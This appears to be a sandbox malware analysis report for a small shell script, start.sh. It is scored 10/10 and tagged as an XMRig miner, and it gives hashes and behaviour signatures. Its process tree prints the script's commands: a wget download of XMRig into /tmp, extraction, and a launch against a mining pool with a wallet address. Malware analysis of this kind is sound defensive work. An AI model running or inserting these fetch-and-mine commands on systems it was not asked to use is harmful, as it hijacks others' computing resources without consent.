Overview

overview

10

Static

static

1

start.sh

debian-12-armhf

1

start.sh

debian-12-mipsel

3

start.sh

debian-9-armhf

10

start.sh

debian-9-mips

10

start.sh

debian-9-mipsel

10

start.sh

ubuntu-18.04-amd64

10

start.sh

ubuntu-20.04-amd64

10

Analysis

  • max time kernel
    35s
  • max time network
    34s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    20-03-2024 21:26

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    start.sh

  • Size

    573B

  • MD5

    badbf4901e27cdee108f6ea8ba30837e

  • SHA1

    e8f20bcae4ce68b777f43718b12125aa0cfdf6d8

  • SHA256

    e3a24865935df812072d57a87e460d5cbe1f5f45d6fb0f470f3182f55669e6bb

  • SHA512

    6a5e729fdad612340e1e2d4b347ada7c372db6c015b90fa126b50c74b6d356c619c3e9243b0b83fa1fc0eaf818b571afcd75fd9af34303c411c0d755353d5831

Score
10/10
xmrigminer

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
    miner
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Executes dropped EXE 1 IoCs
  • Reads runtime system information 1 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/start.sh
    /tmp/start.sh
    1⤵
      PID:696
      • /usr/bin/wget
        wget https://github.com/xmrig/xmrig/releases/download/v6.21.1/xmrig-6.21.1-linux-x64.tar.gz -O xmrig-6.21.1-linux-x64.tar.gz
        2⤵
        • Writes file to tmp directory
        PID:703
      • /bin/tar
        tar -xvf xmrig-6.21.1-linux-x64.tar.gz
        2⤵
        • Reads runtime system information
        PID:774
        • /usr/local/sbin/gzip
          gzip -d
          3⤵
            PID:775
          • /usr/local/bin/gzip
            gzip -d
            3⤵
              PID:775
            • /usr/sbin/gzip
              gzip -d
              3⤵
                PID:775
              • /usr/bin/gzip
                gzip -d
                3⤵
                  PID:775
                • /sbin/gzip
                  gzip -d
                  3⤵
                    PID:775
                  • /bin/gzip
                    gzip -d
                    3⤵
                      PID:775
                  • /tmp/xmrig-6.21.1/xmrig
                    ./xmrig --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2lin --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
                    2⤵
                    • Executes dropped EXE
                    PID:776

                Network

                MITRE ATT&CK Matrix

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/xmrig-6.21.1/xmrig
                  Filesize

                  4.0MB

                  MD5

                  e5e420354e0bb1f1f4da6e5ca805300b

                  SHA1

                  bb99322515f1e66fb122596a21e5dd0e3f31b6a1

                  SHA256

                  13a452215c534c01d6a0592ce079825051e010b72647aa910549aeb78b62fbcf

                  SHA512

                  94baa6700e92304bd06bd5a9e434a348d19c09b45f911cf42cd36cc261d54f6e23b2838bbc220d52a6c52fad3097bb75e1e0b5103318270b1429b77488dae333

                  Download Submit